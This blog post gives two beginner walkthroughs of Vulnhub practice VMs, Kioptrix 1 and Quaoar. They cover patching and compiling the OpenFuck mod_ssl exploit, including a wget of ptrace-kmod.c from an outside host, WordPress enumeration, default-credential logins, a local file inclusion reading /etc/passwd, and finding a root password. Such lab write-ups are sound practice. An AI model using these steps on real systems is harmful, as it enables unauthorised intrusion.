Kioptrix 1 - Vulnhub Walkthrough - ssl_mod

Introduction

This is the second walk through I’m doing in the series. I’m tackling VM’s that are told to be similar to what’s on the OSCP PWK. Since I’ll be tackling the OSCP again in the future I figure this will be good practice in the meantime.

Kioptrix is a series itself with I believe 5 vulnerable VM’s geared towards beginners and since that’s still what I consider myself I’m going to tackle this whole series.

I had some trouble early on with the initial porting from VMWare vmdk to VirtualBox since that’s what I’m currently using. Porting it over isn’t hard just have to remember from the last time I did it. A quick google turned up the easy information I had forgotten. Also to note my version of VirtualBox defaulted to SSD for the hard drive but Kioptrix wasn’t having that giving me a kernel panic. Changing that to IDE hard drive fixed it. Next issue was getting dhcp to issue a ip address. I have pfsense running for internal network to keep my environment safe and not let anything in or out other than the host OS. For whatever reason Kioptrix didn’t like the intel pro100/1000 virtual chipset so I had to change that PCNet PCI II for it to get dhcp. I assume that has something to do with my version of VirtualBox and how old the kernel on the VM is. Either way I got it working.

Enumeration

As always I start enumerating the ports to see what’s open gathering the headers and versions and OS information. ENUMERATE ALL THE THINGS!

So just the open ports and services seem to give a great deal of information. We see both port 80 and 443 open so lets run nikto and see what it comes up with next.

I highlighted the part that looked most interesting to me. Seems there's a remote buffer overflow which allows attackers to kill any process on the system with CVE 2002-0082 so lets google around for that.

Looks like we have an exploit from exploit-db! That's very hopeful. Prior to going all out and compiling and attacking read the source first. The source tells you it's outdated and needs to have some updates and shows a url to head to. Remember the CVE is from 2002! So heading over to the url it shows the following updates that need made.

apt-get install libssl-dev

add the following libraries to the source code

#include <openssl/rc4.h>
#include <openssl/md5.h>

Next search in the source code for "wget" without the quotes and replace the url you find with this one

http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
Next find line 961 and add "const" to the beginning should look like the following
const unsigned char *p, *end;

Finally we need to compile it

gcc -o OpenFuck 764.c -lcrypto

I had done mine slightly different since since my lab doesn't go out to the internet other than my kali box if I change the network configuration. So I downloaded ptrace-kmod.c from packetstormsecurity to my kali box and moved it to /var/www/html and started apache and changed the line with wget to 172.16.2.13/ptrace-kmod.c.

wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
mv ptrace-kmod.c /var/www/html
service apache2 start

Finally let's run the exploit!

Looks like we need to do a little more. So we know we have RedHat and we know it's apache 1.3.20. So looks like our options are
0x6a or 0x6b

Lets try the first one

We have root! Also it might take a couple times of running OpenFuck before it works but it will work if all is set up correctly. In another post i'll go over troubleshooting for OpenFuck since I had a hard time after doing a dist-upgrade of kali. Hope y'all enjoy these walk throughs.

hackfest2016: Quaoar - Vulnhub Walk Through

Introduction

This is the first boot2root box I’ll be tackling in a series of boot2roots I’ll be doing to learn. I chose this one because it’s new, it’s beginner stage, and it’s got some helpful hints on Vulnhub to get you started. I’ll be documenting my findings and doing a write up of every box I attempt to boot2root from Vulnhub or other sources. This is both for my benefit and others that might get stuck in the future. Beware that I will have spoilers in these as they show how I gained root on these boxes. I’m using Kali XFCE with 20 gigabytes of hard drive space and basic default settings from VMWare. Nothing to special. The host is a 2014 Macbook pro running the Intel i7 chip. Only the Kali and boot2root VM will be on the same network.

Enumeration

Nmap was one of the hints that the creator of this boot2root had mentioned to use so it’s where I started with. I almost always use the switches –Pn –sV –p1-65535 –A to start with on these boot2roots. Really deep dive the ports and grab headers. If this was a live pen test I likely wouldn’t make that much noise and would stick to top ports or try to find something more targeted from other sources first from pre-engagement. At any case the results of the nmap scan were as follows.
root@kali:~# nmap -Pn -sV -p1-65535 -A 172.16.13.128

From nmap we know that we have port 80 open, so next I went to the web browser to see what I could physically see. Nothing of interest there, so I went to DirBuster next as it was hinted to use from the description on VulnHub. I ran DirBuster with the url of http://172.x.x.x:80 and navigated to /usr/share/dirbuster/wordlist/directory-list-1.0.txt. I let this run for 1-2 hours. Once I started seeing the wordpress stuff I figured that’s more or less what the creator wanted me to find to pivot to another tool.
The next tool I will pivot to is wpscan. This will help us determine any vulnerabilities in the plugins and find all directories, themes, and plugins associated with the wordpress server. First lets make sure the database is up to date with a wpscan –update. Next is to run the actual wpscan agains the wordpress site ‘wpscan –url 172.16.13.128/wordpress’. I had to add the /wordpress because that’s where the wordpress site begins. This gives me some useful information about themes and plugins available.

So from wpscan we now know it’s running the default Wordpress theme of twentyfourteen. It also gives us some other useful information as in what version of Wordpress is running, known vulnerabilities for themes, versions, plugins, etc. But lets try to enumerate users to see if we can’t dig a little deeper. Lets use wpscan again for this ‘wpscan –url 172.16.13.128/wordpress –enumerate u’
[+] Enumerating usernames ...

    +----+--------+--------+
[!] Default first WordPress username 'admin' is still used

Gaining Access


Interesting! Still using default ‘admin’ account. Wonder if that password has been reset from the default or if it’s using a weak password. Lets check on the wp-login.php page. 172.16.13.128/wordpress/wp-login.php with username ‘admin’ and password ‘admin’. Looks like the password worked! So lets explore just incase wpscan missed anything. Looks like we have 2 plugins of ‘hello dolly’ and ‘mail masta’. A quick google reviels that Mail Masta has a Local File Inclusion exploit associated with it and gives a PoC (proof of concept). Lets give it a try and see if we cannot find the
/etc/passwd file. 

BINGO! Alright so now we’ve got a list of users on this box we can try to brute force against or should we dive slightly deeper? Maybe also get /etc/shadow? Well that didn’t quite work, so lets look for more low hanging fruit. Lets see what useful information is in /etc/passwd. In this file we have some great information that goes like this
username:password:UserID:GroupID:Comment:HomeDir:UserShell

Great! So do we have any that have password listed or are the ally ‘x’ meaning that it’s being pulled from shadow file? Nope, doesn’t look that way. So we know that WordPress was pretty default and it looks like one of our users is wpadmin. Lets try and see if we can ssh into that with a default/weak password.

BOOM! We’re in and got our first shell! Lets see where we’re at and what’s in this directory.
$ pwd

$ ls

$ cat flag.txt

Privilege Escalation


Ok so now what we have a shell we need to get some privilege escalation. One of the first places I tend to look is in the cron jobs to see what is running.
wpadmin@Quaoar:~$ pwd
/home/wpadmin
wpadmin@Quaoar:~$ cd /etc/cron.
cron.d/       cron.daily/   cron.hourly/  cron.monthly/ cron.weekly/  
wpadmin@Quaoar:~$ cd /etc/cron.d
wpadmin@Quaoar:/etc/cron.d$ ls
php5

So it looks like we have some stuff in cron.d which was first on the list. So lets take a look at whats in php5 file.
wpadmin@Quaoar:/etc/cron.d$ cat php5
# /etc/cron.d/php5: crontab fragment for php5
#  This purges session files older than X, where X is defined in seconds
#  as the largest value of session.gc_maxlifetime from all your php.ini
#  files, or 24 minutes if not defined.  See /usr/lib/php5/maxlifetime
# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de
# Look for and purge old sessions every 30 minutes
09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) ! -execdir fuser -s {} 2>/dev/null \; -delete

What's that? Is that another hidden flag? "# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de". Interesting... Upon further reading of others walk throughs I confirmed that this is indeed the 3rd flag but we've still yet to get any privilege escalation so lets continue on.

So we know it's running a WordPress site and we know it's running Apache. So lets take a look at what's in /var/www/ to see if we find any hidden gems.
wpadmin@Quaoar:/$ cd var/www/
wpadmin@Quaoar:/var/www$ ls
CHANGELOG    index.html
COPYING     INSTALL
hacker-manifesto-ethical.jpg  LICENSE

Hack_The_Planet.jpg   upload
hsperfdata_tomcat6   wordpress

Hmm lets cat through some of these files and see what's in them. Seems we have a lot of files to comb over so lets make this a little easier. What I ended up doing was using "grep" to look through multiple files at once.
wpadmin@Quaoar:/var/www$ grep "root" * -R | less

This allows us to look through all the files recursively for "root". Piping to less so we can comb over it all. I also went a step further and used some regex on less to look for "root:" which I suppose I could have done during the grep. I had to really comb over it since it was going through quite a few files but eventually I spotted this


Looks like 'root' has the password 'rootpassword!' so lets give that a try.



That's it! We got all 3 flags at this point. Hope you enjoyed this walk through.
